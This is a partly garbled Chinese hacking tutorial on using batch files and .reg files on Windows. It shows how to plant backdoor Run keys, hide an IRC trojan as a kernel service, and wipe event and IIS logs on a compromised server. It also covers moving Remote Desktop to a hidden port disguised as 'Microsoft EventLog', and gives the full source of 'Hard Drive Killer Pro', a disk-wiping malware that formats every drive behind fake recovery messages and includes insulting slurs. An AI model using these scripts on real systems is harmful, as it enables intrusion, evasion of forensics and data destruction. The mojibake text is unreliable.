在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也会修Ҏ册表来加固系l或者改变系l的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何?REG文g来操作注册表.(我们可以用批处理来生成一个REG文g)
关于注册表的操作Q常见的是创建、修攏V删除?
1.创徏
创徏分ؓ两种Q一U是创徏子项(Subkey)
我们创徏一个文Ӟ内容如下Q?
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创Z一个名字ؓ“hacker”的子项?
另一U是创徏一个项目名U?
那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_内容如下Q?
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
q样在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?
新徏?Invader、door、aboutq三个项?
Invader的类型是“String Value?
door的类型是“REG SZ Value?
Autodos的类型是“DWORD Value?
2.修改
修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /sQ即可?
3.删除
我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"p删除了;
我们再看看删除一个子,我们创徏一个如下的脚本Q?
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]已l被删除了?
怿看到q里Q?reg文g你基本已l掌握了。那么现在的目标是用批处理来创建特定内容的.reg文g了,记得我们前面说道的利用重定向W号可以很容易地创徏特定cd的文件?/P>
samlpe1:如上面的那个例子,如想生成如下注册表文?
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这P
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在用一些比较老的木马?可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启?但是q样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马E序注册为系l服务则相对安全一?下面以配|好地IRC木马DSNXZ(名ؓwindrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动,用sc.exe之注册为系l关键性服务的同时其属性设为隐藏和只读Qƈconfig启动]
@REM q样不是更安全^_^.
?_ֽ实例N?
1.删除win2k/xppȝ默认׃n的批处理
----- cut here then save as .bat or .cmd file ---------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ?A example for batch file ?
echo ?[Use batch file to change the sysytem share properties.] ?
echo.
echo AuthorQEx4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo ErrorQNot enough parameters
echo.
echo ?Please enter the share disk you wanna delete ?
echo.
echo For instanceQto delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: QPlease chang it youself.
echo.
echo exampleQ?
echo If locak disklable are C: D: E: X: Y: Z: Qyou should chang the command into Q?
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------ cut here then save as .bat or .cmd file -----------
下面命o是清除肉鸡所有日志,止一些危险的服务Qƈ修改肉鸡的terminnal service留蟩后\?
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message? >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389q接Q端口ؓ8210(十六q制?0002012)Q名UCؓMicrosoft EventLogQ留条后路]
3.Hard Drive Killer Pro Version 4.0Q玩批处理到q个水^真的不容易了。)
------------ cut here then save as .bat or .cmd file -------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).